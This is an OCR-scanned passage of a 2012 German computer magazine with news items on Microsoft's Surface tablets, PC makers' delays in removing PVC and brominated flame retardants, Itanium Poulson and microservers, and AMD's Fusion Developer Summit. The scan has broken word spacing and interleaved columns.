d roid sta rtet offenbar  ba ld in 
Europa. Entwickler aus  Großbri-
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setzen - m it höherer 3 D-Leis­
tung und problemloser H O­
Video-Besch leun igung .  Auch der 
Ch ipsatz A68M punktet gegen­
ü ber  l ntels N M  1 0, enthä lt  er 
doch USB 3.0. 

Im Va io E 1 1 spricht a l lerd ings  
nu r  e in  USB-Port 3 .0, d ie  beiden 
anderen haben 2.0-Geschwindig­
keit .  Außerdem gehören 4 GByte 
RAM und  e ine 500-GByte-Fest­
p latte zur Ausstattung .  Das E 1 1 
so l l  480 Euro kosten und  in den 
Fa rben Weiß, Schwarz und P ink  
erhält l ich sein .  (mue) 

tan n ien,  Deutsch land ,  F ra n k­
reich, Ita l ien  und Span ien kön­
nen s ich i m  Amazon Mobi le  
App Distr ibut ion Porta l reg is­
tr ieren und Apps e in reichen. 

SanDisk künd igt e ine neue 
Reihe besonders schnel ler mi­
croSDHC-Karten an .  Die maxi­
mal 1 6  GByte g roßen Karten aus 
der Reihe Extreme Pro übertra­
gen maxima l  95 MByte/s beim 
Lesen und 90 MByte/s beim 
Sch reiben, erreichen d iese 
Werte jedoch nur in  UHS-1-fäh i­
gen Kartenslots. 

aktuell ! Green IT, Mobiles 

PC-Hersteller verschieben Umweltschutz 

Umweltschützer schlagen immer 
wieder Alarm, weil E lektroschrott 
aus Europa und den USA in Ent­
wickl ungs ländern landet. Dort 
zerlegen Arbeiter defekte Com­
puter und Mon itore mit bloßen 
Händen und verbrennen die Plas­
t iktei le, um an Meta l le  wie Kupfer 
und A lumin ium zu kommen. 

Da sich der Export bisher nicht 
eindämmen l ieß, versucht Green­
peace, Computerherste l le r  we­
n igstens zum Verzicht auf die ge­
fäh rl i chsten Substanzen zu be­
wegen.  Ganz oben auf der Liste 
der Schadstoffe stehen PVC und 

Be isp ie l  Del i :  Der dr ittg rößte 
PC-Herste l l e r  nennt auf se iner 
Hornepage noch das J a h resen­
de 20 1 1 als Umste l l u ngszieL 
Doch aktue l l  kommen nur rund 
20 Prod u kte ohne PVC und BFR 
a u s  . ., F ü r  20 1 2  i st gep la nt, a l le 
XPS- und  Lat itude-Notebooks 
BFR/PVC-fre i zu l i efern", erklä rte 
De l i s  Sprecher Michael  Rufer ge­
genüber c't. Das i st ein Fort­
sch ritt. Aber in den meisten 
Laptops und Desktop-PCs fü r 
Pr ivatku nden,  zum Beispie l  den 
l n sp i rons,  stecken d ie  Stoffe 
demnach weiterh in .  

Die Elektroschrott-Deponie Agbogbloshie in Ghanas 
Hauptstadt Accra: Jugendliche verbrennen Kabel, um das 
enthaltene Kupfer freizulegen. 

bromierte F lammschutzm ittel 
(BFR) .  PVC wird mit  Weichma­
chern gemischt, d ie  d ie  Fort­
pflanzungsfäh igkeit beeinträchti­
gen können .  Bei der Verbren­
nung von BFR entstehen krebser­
regende Dioxine. 

Die Herste l le r  räumen e in ,  
dass PVC und  BFR  gefä h rl i ch  
s ind .  Doch e in ige von i hnen be­
wegen s ich n u r  la ngsam und 
ha lten s ich n icht e inma l  a n  i h re 
eigenen Versprechen. So hatten 
Acer, Asus, Deli und weitere Mar­
kenh�rste l l e r  u rsprüng l i ch  i n  
Auss icht geste l lt, von 2009 a n  
a u f  PVC und  BFR  zu verzichten. 
Dan n  sol lte es 201 1 so weit sei n .  
Nun zeigt s ich,  dass s ie s ich fü r 
den Umstieg auf unbedenkl iche­
re A lternativen noch mehr  Zeit 
nehmen. 

Auch Acer, Asus und Lenovo 
bewegen s ich n u r  langsam.  Sie 
beze ichnen led ig l ich einze lne 
Prod u kte a l s  BFR/PVC -frei und 
lassen offen, bis wann die rest l i ­
chen Model le umgestel lt  werden 
sol len.  

HP, Samsung und Sony h i nge­
gen l iefern nach eigenen Anga­
ben sämtl iche Notebocks ohne · 

PVC u n d  BFR  a u s . Apple hat 
seine P rod u kte, auch Desktop­
PCs, sogar  schon Ende 2008 um­
geste l lt .  Nachzüg ler  wie Del i 
und  Acer betonen zwar, dass s ie 
d ie  U mstel l u ng von der Verfüg­
barkeit techn isch g le ichwertiger 
Alternativen abhäng ig  machen 
- und schaffen damit e ine Aus­
rede fü r i h re Verspätungen .  
Doch es d ü rfte eher a n  den Kos­
ten l iegen.  (cwo) 
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aktuell I Microsoft-Tablets 

Daniel AJ Sokolov, Christ ian Wölbert 

Microsoft 
, macht ernst 

iPad-Konkurrent mit Windows vorgestellt 

Microsoft bricht mit einer Tradition und provoziert 
seine Partner: Zum ersten Mal  verkauft der Software­
Gigant eigene Ha rdwa re fü r sein Betriebssystem.  
Das "Surface"-Ta blet sol l  endl ich den Rücksta nd zu 
Apple aufholen. 

S teve Ba l l mer holte weit aus :  
Er zeigte d ie erste Microsoft­

Maus aus dem Jahre 1 983, d ie  
Xbox, d ie Ki nect. A l les  Belege 
dafür, dass Microsoft seit 30 Jah­
ren Ha rdware entwickelt. Trotz­
dem überraschte er se in Pub l i ­
kum in  Los Angeles, a l s  er nach 
zehn Minuten endl ich zur Sache 
kam und zwei Microsoft-Tablets 
enthü l lte. 

Nie hatte Mic rosoft auch n u r  
angedeutet, selbst Computer zu 
bauen. Stets ga lt  a l s  undenkbar, 
dass das U nternehmen se inen 
besten Kunden, den Ha rdware­
Herste l lern, Kon ku rrenz macht. 
G laubt man einem Bericht der 
Agentur Reuters, i nformierte Mi­
crosoft seine Partner sogar  erst 
drei Tage vor der Präsentation. 

Die Su rface getauften Tablets 
ste l len a l so e inen doppelten 
Bruch dar: Mit Microsofts Trad i ­
t ion und mit Partnern wie De l i ,  
Acer, Lenovo & Co.  Da rüber kön­
nen auch Ba l lmers Verweise auf 
Maus, Xbox und Ki nect nicht h in­
wegtäuschen. G leichzeit ig ste­
hen die Tablets fü r e ine spa n­
nende Alternative zu Apples 
iPad, das den Tablet-Markt immer 
noch domin iert. D ie b isher igen 

Windows-Tablets s ind sch l ieß­
l ich gefloppt, und auch d ie meis­
ten And roid-Ta b lets enttäusch­
ten. 

Was Microsoft i n  Los Angeles 
zeigte, wirkt du rchaus i nnovativ. 
Vor a l lem fü r d ie  Gehäuse und  
das Zubehör bekamen d ie  Ent­
wickler aus  Redmond Lob von 
den anwesenden Journa l i sten. 

Schutzhü l len zum Tippen 

Microsoft hat zwei Schutzhü l len 
entwickelt, d ie  mag netisch a n  
d e n  Tablets haften. Aufgeklappt 
d ienen s ie a l s  Tastatu r  samt 
Touchpad.  Die d re i  M i l l i meter 
dünne  .. Touch Cover"-Va riante 
hat e ine aufgedruckte Tastatu r. 
Tippt man darauf, erkennen Sen­
soren die Berü hrungen .  Damit 
sol l e ine doppelt so hohe 
Schrei bgeschwi nd igkeit wie auf 
G las  mög l ich se in - ausprobie­
ren du rfte das noch keiner. 

Beim fü nf M i l l imeter d icken 
.. Type Cover" g ibt es beweg l iche 
Tasten und damit angebl ich ein 
ähn l iches Schre ibgefü h l  wie auf 
einer r ichtigen Tastatur. Be­
schleun igungssensoren sol len er­
kennen, wenn  die Cover zurück-

Microsoft-Tablets ( Herstel lerangaben)  

Betriebssystem 
Prozessor I Architektur 
Gewicht I Dicke 
Display-Diagonale /-Format I 
·Auflösung 
Speicher 
Akkukapazität 

Surface for Windows RT 

Windows RT 
Nvidia Tegra 3 I ARM 
676 g / 9 mm 
10,6 Zoll, 16:9, HO-Auflösung 
(nicht näher spezifiziert) 
32 oder 64 GByte 
3 1 ,5 Wh 

Surface for Windows 8 Pro 

Windows 8 Pro 
Intel Core i5 I x86 
903 g I 14 mm 
10,6 Zoll, 16:9, Fuii-HD 
(1 920 x 1 080 Bildpunktel 
64 oder 128 GByte 
42 Wh 

Schnittstellen microSDHC. USB 2.0, Micro-HDMI, microSDXC, USB 3 .0, Mini-Display-
WLAN Port, WLAN 

Besonderheiten Office-App, Schutzhüllen mit 
Tastatur, ausklappbarer Standfuß 

Metro-Apps /Windows-Software v I -
"' v anden - mctit voihan n 
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Schutzhüllen mit Tastatur, aus­
klappbarer Standfuß, Stiftfunktion 
mit Handbal lenerkennung 
v iv 

gesch lagen werden.  So wi l l  Mi­
crosoft unerwünschte E ingaben 
beim Ha lten des Gerätes verh in­
dern. 

D ie Gehäuse sind aus e iner  
Magnes iu m-Leg ierung gefertigt 
und wi rken sol ide. S i nnvo l l  e r­
scheint der  i m  Gehäuse i nte­
grierte Standfuß, der sich bei Be­
darf ausklappen lässt. 

E inen sch lechteren E indruck 
h i nter l ieß d ie Software: E ins  der 
Vorfüh rgeräte fror wäh rend der 
Präsentation e in ,  sodass Win­
dows-Chef Steven S inofsky pein­
l i cherweise a uf e in  Ersatzgerät 
ausweichen m usste. Die an­
wesenden Journa l isten d u rften 
zwar d ie Gehäuse und das Zube­
hör in Augenschein nehmen,  
e ingescha ltete Tab lets a ber nur  
wen ige Sekunden i n  den Hän­
den ha lten.  Offenbar  muss  Mi ­
crosoft das· Zusammenspie l  zwi­
schen der neuen Hardware und  
Windows 8 noch  verbessern. Auf 
bereits erhält l ichen Tablets läuft 
die a ktue l l e  Vorabvers ion von 
Windows 8 stab i l .  

ARM- und I ntel-Versionen 

Microsoft p lant  zwei Tab let­
Typen: Erstens  das .. Su rface fü r 
Windows RT" mit  ARM-Prozes­
sor, das u ngefä h r  so d ick  und  
schwer i s t  w ie  App les  aktue l les  
i Pad, aber e in  v ie l  n iedr iger  a uf­
ge löstes D isp lay hat. Zweitens 
das fast e in  Ki log ramm schwere 
.. Su rface Pro" mit Core-iS-CPU 
von I ntel und hochauflösendem 
Display (s iehe Tabel le) .  

U nter Windows RT laufen aus­
sch l ieß l i ch  Metro-Apps - wie 
viele es davon bis zum Verkaufs­
sta rt geben wird, i st u n kl a r. Auf 
dem Su rface Pro wird e in norma­
les Windows 8 i n  der Pro-Va r ian­
te i n sta l l iert se in ,  das  sämt l iche 

Windows-Prog ramme ausführen 
kann .  Leistungsmäß ig so l l  das 
P ro-Mode l l  den . .  besten b isher 
angekünd igten U ltrabooks" Kon­
ku rrenz machen,  versprach Mi­
crosoft. 

Der Vertr ieb so l l  ü ber Micro­
soft-Läden in den USA und aus­
gewä h lte On l i ne-Shops la ufen .  
Das Windows-RT-Tablet wi l l  M i ­
crosoft zeitg le ich mit Windows 8 
i n  den Hande l  br ingen,  a l so 
vora u ss icht l i ch  im  Herbst. Die 
I ntel-Va ria nte so l l  erst d rei Mo­
nate später fo lgen.  Ob d ie Gerä­
te a u ßerha l b  der USA verkauft 
werden so l len ,  verr iet Ba l l mer 
n icht. 

Zu den P re isen sagte er n u r, 
dass  d iese .. kon ku rrenzfäh ig" 
se in  würden.  D ie taiwa n i sche 
Nach r ichtenseite Dig it imes wi l l  
au s  der  Fert ig u ngs ind ustr ie er­
fah ren haben, dass das Su rface­
Mode l l  m it ARM-Prozessor und  
32 G Byte über  600  US-Do l l a r  
kosten sol l ,  a l so etwas mehr  a l s  
e in  i Pad 3 mit  ebenso v ie l  Spei­
cher. D ie Va r ia nte mit  e inem 
I ntel-Ch ip  so l l  l aut  Dig it imes 
ü ber  800 U S-Do l l a r  kosten .  Die 
Fert ig u n g  ü bernehme das tai­
wa n i sche U nternehmen Pega­
tron.  

Die am meisten d i skutierte 
F rage nach der Vera nsta l tung 
war jedoch e ine andere: Warum 
br ingt · M icrosoft jetzt e igene 
Ha rdwa re? Manche Beobachter 
g l auben, dass die Su rface-Ta b­
lets n u r  a l s  Vorzeigegeräte d ie­
nen,  von denen Microsoft gar  
n icht so v ie le  verkaufen möchte. 
Es ist a ber auch  n icht auszu­
sch l ießen, dass Microsoft seinen 
Partnern ernsthaft Konku rrenz 
machen w i l l .  Ba l l mer sagte n u r  
s o  vie l :  Su rface so l l  d e n  Markt fü r 
Windows 8 ., i n  Schwung br in­
gen". (cwo) 
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aktuell ! Prozessoren 

And reas Sti l ler 

Prozessorgeflüster 
Von Unkorrektem und Unfairem 

Wä hrend Intel den Coprozessor Xeon Phi  mit viel Ta mta m auf der I SC 1 2 vor­
stel lte, wird der wa h rschei n l ich vorletzte Mohikaner der lta n i u m-Linie ganz 
stieku m herausgebracht, der Poulson. Sel bst lta n i u m-Partner Hewlett-Packard 
schaut inzwischen verstä rkt in die andere Richtung zu den Mi kroservern. 

D a rechnen moderne Supercomputer 
Tri l l ia rden von Gleitkommaoperationen 

(siehe S. 68) - und es drängt sich die Frage auf, 
wie zuverlässig das Ergebnis überhaupt noch 
sein kann.  Abgesehen von mögl ichen Soft Er­
rors gräbt man hier tief im Dunkeln, denn die 
Rechnungen mit der üb l ichen Rechengenau­
igkeit in  doppelter Genauigkeit von gerade 
mal 53 Bit für die Mantisse laufen inzwischen 
viel häufiger aus dem Ruder, als viele Anwen­
der g lauben. Wackelt bei den Berechnungen 
jewei ls auch nur das letzte Bit, so kann s ich 
das je nach Stabi l ität des Algorithmus schnel l  
aufschauke ln und i rgendwann völ l igen Un- · 

s inn ergeben. Und das g i lt umso stärker, seit 
etwa die x86-Prozessoren nicht mehr die FPU 
mit i h rem internen 80-Bit-Datenformat n ut­
zen, sondern die weit weniger präzisen S IMD­
Einheiten. 

Schon 1 989 hat das Standard is ierungs­
komitee IEEE ein Format für 1 28 Bit Gleitkom­
ma ( 1 1 2  Bit Mantisse) eingeführt, das manche 
Compi ler  du rchaus unterstützen, zum Tei l  
können sie sogar automatisch Double Preci­
sion in Quad Precis ion uminterpretieren (F iag 
-r1 6 bei Intel Fortan). Aber damit läuft a l les so 
fu rchtbar langsam - und so macht das kaum 
einer. Dabei hätten die Prozessorfi rmen hö­
here Präzision oder Interva l la rithmetik als Op­
tion schon längst in  i h re SSE-, AVX- oder sons­
tigen Einheiten e inbauen könn'en - wol len sie 
aber offenbar n icht. Nur wenn die F inanzweit 
über fa lsch gerundete Mikrodo l l a rs mosert, 
dann rührt sich was - zumindest bei I BM, wo 
das dezimale Gleitkommaformat seit Power 6 
und z6 zum Standard gehört. I ntel hat h ierzu 
zwar le istungsfäh ige B ib l iotheken im Ange­
bot, aber da hätte man auch schon mal e ine 
fixe Hardware erwartet, etwa fü r den neuen 
ltan ium Pou l son, wo der doch ohnehin mit 
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vielen neuen Funktionseinheiten und Befeh­
len aufwarten kann .  

Derwei l  s ind d ie ersten Poulson-Prozesso­
ren zwar noch nicht in freier Wi ldbahn, aber 
mit P rodu ktbezeichnung und Takt bei den 
Product Change Notifications sowie i n  der 
MOOS-Datenbank von I ntel aufgetaucht. Vier 
P roduktvers ionen sind neben zah l re ichen 
Testversionen u nter Pou lson-8 aufgel istet, a ls  
Schnel lster geht der ltan ium 9560 (SROT1 ) mit 
2,53 GHz ins  Rennen - und das mit 8 Kernen 
und 32 MByte L3-Cache. Der b is lang le is­
tungsfäh igste ltan i um, der  Tukwi l la-9350, 
besaß vier Kerne bei 1 ,73 GHz Takt, a l le in  das 
bringt schon einen Performancezuwachs von 
fast Faktor 3 .  H i nzu kommt die verdoppelte 
Breite von zwei a uf bis zu vier g le ichzeitig 
ausfüh rbaren Befeh l sbünde ln .  Der Poulson 
kommt damit theoretisch auf bis zu zwölf In­
struktionen pro Takt - das schafft sonst kei­
ner. Bei entsprechend optimierter Software 
legt Poulson damit nochmals  bis zu Faktor 2 
drauf. 

Sch ubkarren zum Mond 

Obwoh l  der  Pou lson auch ganz erheb l iche 
Verbesserungen i n  der Energieeffizienz m it­
br ingt, kan n  er in besti mmten Aufgaben­
gebieten mit  a nderen Datentra nsportern 
n icht mitha lten :  Vie le Schubka rren haben 
eben auch  zuwei len  k lare Vorte i l e  gegen­
ü ber e inem schweren Lastwagen .  Zu den 
Sch ubka rrenservern gehört Hewlett-Pack­
a rds  P i lotprojekt Moonshot, e in Konzept fü r 
hocheffiziente Mikroserver mit vielen kleinen 
Rechen knoten, d ie  s ich sämtl iche Ressou r­
cen tei len; gedacht fü r dedizierte Webserver, 
Content-Aus l ieferung,  Data Ana lytics mit  
dem aktue l len Trendsetter Apache Hadoop 

i n  bewährter 32-nm­
Technik und bei 2,53 GHz 
Takt theoretisch bis zu 
sechsmal schnel ler als 
sein Vorgänger: Der 
totgesagte ltan ium dreht 
mit Poulson noch mal 
richtig auf. 

und  Ähn l iches mehr. Das erste im Herbst 
201 1 angekünd igte Rau mfa h rtprojekt l äuft 
u nter dem Namen Redstone. H ierbei arbeitet 
HP m it dem Start-up Calxeda zusammen, das 
eine Steckka rte mit  v ier Ca lxeda-SoCs na­
mens "Energy Core ECX- 1 000" des ignt hat, 
ein jeder versehen mit vier ARM-A9-Kernen. 
Laut HP sol l  d ie  Moonshot-Arch itektur  im 
Verg leich zu den g roßen x86-Servern 94 Pro­
zent weniger Platz und 89 Prozent weniger 
Energ ie benötigen sowie 63 Prozent weniger 
Kosten verursachen. 

Doch d ie Redstone-Rakete hat d ie Start­
rampe noch gar n icht verlassen und schon hat 
HP die nächste Runde eingeläutet: das Projekt 
Gemini .  Partner ist h ierbei I ntel, der mit dem 
auf dem IDF in  Peking angekünd igten Duai­
Core-Atom Centerton den ARM-Prozessoren 
Paro l i  bieten will - und wahrschein l ich auch 
kann .  Centerton, der i n  der zweiten Jahres­
hä lfte 201 2 herauskommen sol l ,  ist fü r e ine 
TDP von nu r  6 Watt ausgelegt. I ntel wi l l  nun 
zusammen mit HP  eine spezie l le Cartridge mit 
einer noch unbekannten Anzah l  von Center­
ton-Prozessoren fü r H Ps M ikroserverfami l ie  
konstruieren. Betont werden h ierbei immer 
schöne Features wie Vi rtua l is ierung und 64 Bit 
- etwas, womit ARM derzeit noch nicht auf­
warten kann .  

Das Start-up Calxeda, an dem ARM mit  etwa 
20 Prozent betei l igt ist, hat die ersten laufen­
den Systeme im Mai auf dem Ubuntu Devel­
oper Summit und nun  auf der ISC 1 2 u nter 
Ubuntu 1 2 .04 vorgefüh rt. Und nicht nu r  HP, 
sondern auch Supermiere wi l l  mit entspre­
chenden Calxeda-Mikroservern aufwarten.  
Frech hat inzwischen das kleine Unternehmen 
mit einem etwas schrägen Benchmark-Ver­
g leich auf sich aufmerksam gemacht: 1 5  Mal 
bessere Energieeffizienz beim ApacheBench 
als e in Xeon-E3-1 240-System sol l  ihr 5-Watt­
Webserver bei 1 , 1  GHz Takt bieten. 4 GByte 
Speicher h ier, 1 6  GByte da, gemessene Watt 
h ier, TOP-Berechnung da, Vol l last h ier, nur  1 5  
Prozent CPU-Last da - das eröffnet viele An­
griffspunkte, aber letztl ich dürfte bei einem fai­
reren Verg leich woh l  immer noch etwa Fak­
tor 5 übrig bleiben. Aber der Verg leich h inkt 
trotzdem, spannend wird es erst, wenn der 
Centerton in d iesen Wettkampf eingreift. 

ARM gegen x86 - d iesen Dauerkonfl ikt hat 
auch Linux-Schöpfer Linus  Torva lds zum Tei l  
m i t  recht drastischen Kommentaren beg leitet. 
Nun  hat er s ich über Nvidia aufgeregt und 
scheute s ich nicht, in  bester Effenberg-Manier 
den Stinkefinger e inzusetzen und "fuck you, 
Nvidia" zu skand ieren. Nvidia ist zwar im Früh­
jahr der Linux Foundation beigetreten, verhält 
s ich aber recht zugeknöpft, was d i� Offen­
legung von L inux-Treibern, etwa für d ie Hy­
bridg rafi ktechn ik  Optimus, angeht - wer 
weiß, viel le icht sind da auch i rgendwelche 
verletzten Patente im Spiel , sodass die Quel­
len aus gutem Grunde u nter Versch l uss sind. 
Nebojsa Novakovic von Bright Side of News 
meint jedenfa l l s  erfahren zu haben, dass Nvi­
d ias  Versch lossenheit e inen Riesen-Dea l i n  
Ch ina  m i t  10  Mi l l ionen Schu i·PCs vermasselt 
habe. Den soll jetzt AMD eingeheimst haben 
- und die können ihn gut gebrauchen. (as) 
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Martin Fischer 

ARM dran 
AMD Fusion Developer S u m m it 20 1 2 

Auf seiner Entwicklerkonferenz gab AMD einen Ausbl ick 
auf erste Kom biprozessoren, in  denen auch ARM-Kerne 
werkeln.  Au ßerdem kündigte die F i rma die Gründung 
eines Industriekonsortiums an, mit dem sie das HSA­
Konzept weiterbringen wi l l :  hybride Prozessoren fü r 
unterschied l iche Anwendungsbereiche. 

B el levue he ißt das Städtchen 
sechzehn Ki lometer öst l ich 

von Seattle, i n  dem AMD rund 
750 Fachbesucher  zu se iner  
zweiten Entwickle rkonferenz 
Fusion Developer Summit 20 1 2  
(AFDS) beg rü ßte. Daru nter be­
fa nden sich auch zah l reiche 
extra von AMD aus  a l ler Weit ein­
geflogene Journa l isten, d ie fo lg­
l ich mit g roßen Erwartungen auf 
die Konferenz b l ickten .  Sch l ieß­
l ich wol lte AMD weitere Deta i l s  
zur Heterogeneaus Systems Ar­
ch itecture (HSA) veröffentl ichen. 

Das langfrist ige Z ie l :  mehr 
Prog ramme, d ie moderne Korn­
biprozessoren - kurz APUs ge­
nannt - ausnutzen.  Idea lerweise 
vertei len opt imierte Prog ramme 
die Berechnungen während der 
Laufzeit auf d ie  CPU- und G'PU­
Kerne. Das so l l  zu höherer Per­
formance und zugleich geringe­
rer Leistungsaufnahme führen -
a l so mehr Effizienz. AMD wi l l  
Entwicklern desha lb e inheit l iche 
Hard- und Software-Spezifi katio­
nen an die Hand geben, um pas­
sende Software zu entwicke ln .  
So  können etwa CPU-Kerne be­
stimmte S ing le-Th read-Berech­
nungen i n  einem Prog ramm 
übernehmen, wäh rend d ie GPU­
Kerne i h re hohe Gle itkom ma­
Rechen le istung bei geeig neten 
Aufgaben beisteuern .  Gäbe es 
genügend solcher Prog ramme, 
hätte AMD sch lag kräftige Ver­
kaufsa rgumente fü r seine Kom­
biprozessoren, deren GPUs zwar 
ordentl ich was le isten, wäh rend 
ih re CPUs a ber der I ntel-Kon­
ku rrenz mei lenweit h i nterher­
h inken.  

präsident und Chefarch itekt Tom 
Mal loy auch in der Zah l  der ange­
passten Prog ramme wider: Aber­
m i l l ionen von (PU-Anwendun­
gen stehen nu r  rund 200 Kandi­
daten gegenü ber, d ie  Vortei le 
aus der GPU-Besch leun igung zie­
hen. Laut AMD-Statisti k sieht es 
sogar noch düsterer aus. Offizie l l  
spricht d ie F i rma von einem An­
stieg der von Kombiprozessoren 
profit ierenden Anwendu ngen 
von 26 (201 1 )  auf  60 (20 1 2) .  
Schaut man s ich jedoch d ie  der 
Ka l ku lation zugrunde l iegenden 
Prog ramme an,  kehrt schnel l  Er­
nüchterung e in .  So d ifferenziert 
AMD zum einen n icht zwischen 
GPGPU-, Render- und Stream ing­
Aufgaben und füh rt auch e in ige 
Spie le i n  der L iste mit auf. Zum 
anderen ist es frag l ich, beispiels­
weise Adobes Flash P layer, den 
VLC Media P layer oder Mozi l l as  
F i refox-Browser im Jahr  201 2 a l s  
neues  HSA-fä h iges "Prog ramm" 
zu verka ufen .  Die fun kt ionieren 
natü r l ich problemlos ohne AMD-

Ha rdware. Das zeigt: Das U nter­
nehmen versucht krampfhaft, 
Argumente fü r se ine Kombi­
prozessoren zu finden. 

Diese Situation wi l l  AMD mit 
dem HSA-Konzept ändern - in 
einer von I ntel dominierten CPU­
Welt e in  wah rl ich ehrgeiziges 
Ziel .  Die im Dezember 201 1 vom 
selbst erst seit August amtieren­
den CEO Rory Read persön l ich 
e ingeste l lte L i sa  Su u nterstr ich 
AMDs Linie während ih rer AFDS­
Eröffnungspräsentation lautstark: 

"We bet the company on APUs" ­
das kl ingt nach a l les oder n ichts. 
U mso bedenkl icher, dass AMD 
a uf dem AFDS 201 2 entgegen 
den Erwartungen keine  fi na le  
HSA-Software-Spezifikationen vor­
weisen konnte, e ine F ragerunde 
ku rzfristig absagte und s ich Rory 
Read n icht persön l ich b l icken 
l ieß. 

Kernfusion 

Corporate Fel low Ph i l  Rogers 
künd igte d ie Gründung der HSA 
Foundation an,  von der man be­
reits beim F inanc ia l  Ana lyst Day 
im  Februar härte. Neu war, dass 
neben AMD auch die SeC­
Schwergewichte ARM, Imag i ­
nat ion Tech nolog ies, MediaTek 
und Texas I n struments als Grün­
dungsmitg l ieder dabei s ind.  

ln Zuku nft wird AMD a l so 
a l ler le i  E i nheiten fremder Her­
ste l ler  auf d ie APUs br ingen, d ie 
Spezia l fu n kt ionen bereitste l len .  
E ine erste Ankünd igung gab es  
bereits i n  Bel levue: So p lant  AMD 
Ende 201 3 best immte APUs mit  
i nteg r ierten Cortex-AS-Kernen 
von ARM zu bestücken .  S ie sol­
len aber n icht etwa bei best imm-

AMDs Problem: Bis dato ma­
chen d ie laut I DC rund 1 00 000 
GPU-Programmierer nur e inen 
Bruchte i l  der re inen CPU-Coder 
aus (über 10 M i l l ionen). Das spie­
gele s ich laut Adobes Vize-

Weniger Fachbesucher als erwartet lockte AMD zur AFDS 201 2: 
Mit 1 000 Tei lnehmern rechnete die Firma, rund 750 kamen. 
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AMDs Senior Vice President 
Lisa Su: "We bet the company 
on APUs." 

ten (PU-Berechnungen das 
Ruder  übernehmen, sondern 
ledig l ich d ie Sicherheitserweite­
rung TrustZone bereitste l len .  Be­
sonders sens ib ler Code, etwa bei 
der  On l i ne-Ba nk ing-Authentifi­
z ierung oder bei der d ig ita len  
Rechteverwa ltung (DRM), l äuft 
dann  abgekapselt von den x86-
Prozessoren a uf dem ARM-Kern 
und wird vor fremden Zugriffen 
ha rdwareseit ig gesch ützt. An­
künd igu ngen zu weiteren Spe­
zia i-Cores gab es n icht, denkbar 
s ind aber beisp ie lsweise auch 
Med ienprozessoren fü r beson­
ders rechen i ntens ive Sou ndfor­
mate, etwa dem mu lt id imens io­
na len Raumklang (MDA). Es mag 
a l so kein  Zufa l l  gewesen sein ,  
dass der Cheftechn i ker Alan 
Kraemer von SRS Labs sein Mul­
t id imens iona l  Aud io sogar  auf 
e iner Keynote-Präsentation lang 
und breit erklären d u rfte. 

Für  Profis 

Außerdem künd igte AMD zwei 
zu PCI Express 3.0 kompatib le 
F i rePro-Profi karten an ,  d ie beide 
a uf die G raph ics-Core-Next-Ar­
ch itektu r  setzen :  F i rePro W600 
und  F i rePro W9000. Die W600 
steuert bis zu sechs B i ldsch i rme 
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via M in i-DisplayPort g leichzeitig 
a n  und ist fü r g roße Disp lay­
Wände gedacht. Sie schafft auch 
4K-Auflösungen mit  b is  zu 
4096 x 2304 Pixeln (30 Bit, 
60 Hz) . Techn isch unterstützt s ie 
maximal  e ine zusammengefass­
te Auflösung von 1 6K x 1 6K B i ld­
punkten. Gehen d ie  D isp lays in 
den Standby-Mod us, scha ltet 
s ich d ie Grafi kkarte nahezu kom­
p lett ab, auch der Lüfter hört 
dann  auf zu d rehen.  U nter Last 
darf die Ka rte max ima l  75 Watt 
schl ucken. S ie speist sich fo lg l ich 
exkl us iv aus  dem PCie-Steck­
platz. 

Dank  i h res flachen E in-Lüfter­
Küh l systems belegt d ie rund 600 
US-Do l l a r  teu re F i rePro W600 
nu r  e inen Steckplatz und  passt 
daher auch i n  v ie le kompakte 
Gehäuse. I h r  Grafikch ip  ist zu Di­
rectX 1 1 . 1 und OpenGL 4.2 kom­
patibel und g reift auf 2 GByte 
GDDRS-Speicher zu .  Dan k  der  
UVD-3-Videoe in heit lassen s ich 
zwei Fu i i-HD-Videos g le ichzeitig 
dekod ieren. 

Mark Papermaster kündigte die Profi-Grafikkarte FirePro 
W9000 an, hielt aber die falsche Karte in die Luft. 

Taktfrequenz der Shader-Re­
chenkerne und Texture inhe iten 
je nach Aus lastung a uf bis zu 
1 ,OS GHz anheben ka nn .  Den 
3 GByte fassenden GDDRS-Spei­
cher lässt AMD mit 3000 statt 
2750 MHz laufen .  I nsgesamt a r­
beitet d ie  GHz Edit ion rund 
10  Prozent schne l le r  a l s  e ine nor­
male Radeon H D  7970. Neuigkei­
ten von der schon lang erwarte-

aktuell I AFDS 201 2 

ten Dua i-GPU-Ka rte Radeon HD 
7990 gab es von  AMD n icht zu  
hören. Gerüchten zufolge sol l  es 
sch l icht an genügend Switch­
Ch ips fehlen,  d ie PCie 3.0 beherr­
schen. 

Sch l ieß l ich l ieß Mark Paper­
master noch e inen B l ick auf die 
erweiterte Roadmap der künf­
t igen 28-Nanometer-Ch ips fü r 
20 1 3  zu. So sol l  der Trin ity-Nach­
fo lger Kaveri mit seinen vier Ste­
a m ro l le r-Kernen und  e iner Gra­
ph ics-Core-Next-Grafi kein heit je 
nach Modell zwischen 1 5  und 35 
Watt sch l ucken (TOP). Kaveri ist 
fü r Notebocks mit e iner Bi ld­
sch i rmdiagona len von 1 3,3 bis 
1 5 ,5 Zo l l  und  e iner  maximalen 
Dicke von 2, 1 Zentimetern ge­
dacht. Die k le inere APU Kab in i  
(4  Jaguar-Kerne) so l l  i n  gü nsti­
gere Notebocks ( 1 1 ,6 bis 1 5 ,6 
Zol l ) ,  verheizt zwischen 9 und 
25 Watt und sol l  d ie Anfang Jun i  
201 2 angekünd igte Brazos-2.0-
P iattform ablösen. Im U ltra-Lew­
Power-Segment p lant AMD die 
Temash-APU mit einer TOP zwi­
schen 3,6 und 5,9 Watt und bis 
zu vier Jaguar-CPU-Kernen. S ie 
folgt der noch n icht erhält l ichen 
Hondo-APU, welche auf Win­
dows-8-Tablets zielt. (mfi) 

Als le i stu ngsfä h ige Worksta­
tion-Ka rte fü r CAD- und DCC-An­
wendungen fung iert die W9000, 
e ine von der Radeon HD 7970 
abgeleitete Va ria nte mit  1 GHz 
Taktfrequenz, die rund 4 B i l l io­
nen G leitkommaoperat ionen 
pro Seku nde (TF iops) schafft -
fast so viel wie Nvid ias Rechen­
ka rte Tes la  K1  0 mit  zwei GPUs  
(4,58 TFiops). Be i  doppeltgenau­
en Berechnu ngen erre icht d ie  
W9000 1 TFiops. 

z iert über 384 Daten le i tungen 
mit dem 6 GByte fassenden Spei­
cher - der b ietet auch P latz fü r 
sehr feine 3 D-Mode l le  und Tex­
turen.  Wa nn  aber d ie  F i rePro 
W9000 herauskommt und  wie 
v ie l  s ie  kosten wi rd ,  l ieß CTO 
Mark Papermaster, der wäh rend 
der  Präsentation d ie  fa lsche 
Ka rte hochh ie lt, offen .  Weitere 
